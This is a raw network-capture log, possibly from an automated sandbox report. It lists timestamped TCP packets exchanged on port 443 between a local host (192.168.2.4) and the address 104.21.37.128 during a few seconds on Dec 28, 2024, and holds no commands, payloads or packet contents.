Dec 28, 2024 04:23:59.450350046 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.450393915 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.450400114 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.456664085 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.456733942 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.456741095 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.462848902 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.463280916 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.463287115 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.469099045 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.469137907 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.469144106 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.475220919 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.475543976 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.475549936 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.515566111 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.588864088 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.591392994 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.591451883 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.591466904 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.596172094 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.596235991 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.596242905 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.606595039 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.606602907 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.606657982 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.606664896 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.615211010 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.615370035 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.615375996 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.615422010 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.619580030 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.619632006 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.629168987 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.629175901 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.629234076 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.636709929 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.636715889 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.636890888 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.641251087 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.641314030 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.650242090 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.650299072 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.658921957 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.658977985 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.667844057 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.667907953 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.672383070 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.672437906 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.681139946 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.681195021 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.685733080 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.685786963 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.694623947 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.694679976 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.791819096 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.791877031 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.798711061 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.798759937 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.802215099 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.802267075 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.808845043 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.808895111 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.815028906 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.815078974 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.818216085 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.818270922 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.824167967 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.824227095 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.830128908 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.830185890 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.833162069 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.833229065 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.839157104 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.839231014 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.845082998 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.845132113 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.848179102 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.848238945 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.854166985 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.854219913 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.859997988 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.860061884 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.863051891 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.863101006 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.869030952 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.869086981 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.874913931 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.874969006 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.878000021 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.878061056 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.883951902 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.884007931 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.889847994 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.889904022 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.895818949 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.895872116 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.909729004 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.909785032 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.991347075 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.991566896 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.994529963 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.994621992 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:23:59.998915911 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:23:59.999001026 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.001138926 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.001207113 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.005347967 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.005403042 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.015435934 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.015443087 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.015496016 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.015621901 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.015621901 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.015636921 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.018574953 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.028899908 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.028917074 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.028955936 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.029014111 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.029020071 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.029290915 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.038222075 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.038237095 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.038295984 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.038302898 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.038346052 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.045634031 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.045649052 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.045682907 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.045690060 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.045720100 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.045734882 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.053641081 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.053656101 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.053702116 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.053713083 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.053750992 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.061614037 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.061630964 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.061682940 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.061688900 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.061728001 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.192775965 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.192794085 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.192858934 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.192877054 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.192918062 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.199523926 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.199538946 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.199599981 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.199609041 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.199645996 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.205934048 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.205956936 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.206026077 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.206039906 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.206083059 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.213244915 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.213263988 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.213335991 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.213350058 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.213392019 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.220484972 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.220503092 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.220561981 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.220571041 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.220609903 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.227287054 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.227308035 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.227380037 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.227385998 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.227431059 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.234658957 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.234673023 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.234731913 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.234738111 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.234778881 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.241029978 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.241045952 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.241097927 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.241105080 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.241149902 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.394021034 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.394047976 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.394278049 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.394301891 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.394346952 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.400293112 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.400309086 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.400366068 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.400372028 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.400408983 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.407671928 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.407690048 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.407746077 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.407752991 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.407792091 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.408807993 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.408869028 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.416016102 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.416029930 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.416075945 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.416083097 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.416100979 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.423382044 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.423402071 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.423449039 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.423455954 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.423501015 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.430174112 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.430187941 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.430355072 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.430366993 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.436597109 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.436620951 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.436666012 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.436672926 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.436696053 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.443933010 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.443958044 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.444006920 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.444015980 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.484532118 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.596667051 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.596692085 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.596884012 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.596911907 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.596952915 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.603089094 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.603105068 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.603179932 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.603192091 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.603235960 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.610407114 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.610421896 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.610493898 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.610502005 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.610543013 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.617615938 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.617633104 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.617682934 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.617692947 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.617732048 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.624036074 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.624051094 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.624108076 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.624114990 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.624157906 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.631752968 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.631767988 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.631834030 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.631840944 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.631881952 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.638184071 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.638197899 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.638263941 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.638269901 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.638310909 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.645538092 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.645553112 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.645607948 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.645615101 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.645656109 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.798134089 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.798156977 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.798237085 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.798249960 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.798288107 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.804444075 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.804460049 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.804507971 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.804514885 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.804557085 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.811775923 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.811790943 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.811846018 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.811852932 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.811891079 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.819004059 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.819019079 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.819066048 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.819076061 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.819119930 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.826312065 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.826328039 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.826385975 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.826391935 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.826431036 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.833127022 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.833144903 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.833194971 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.833199978 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.833242893 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.839514971 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.839530945 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.839584112 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.839596987 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.839634895 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.846863031 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.846884966 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.846925974 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.846932888 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.846963882 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.846977949 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.999222040 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.999239922 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.999278069 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.999298096 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:00.999308109 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:00.999337912 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:01.006005049 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:01.006030083 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:01.006083965 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:01.006092072 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:01.006129026 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:01.013200998 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:01.013215065 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:01.013256073 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:01.013262033 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:01.013300896 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:01.015285969 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:01.015331984 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:01.021707058 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:01.021720886 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:01.021783113 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:01.021790981 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:01.021831036 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:01.029061079 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:01.029076099 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:01.029109955 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:01.029118061 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:01.029166937 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:01.035944939 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:01.035959005 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:01.035998106 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:01.036006927 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:01.036036015 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:01.036045074 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:01.043102980 CET	443	49752	104.21.37.128	192.168.2.4
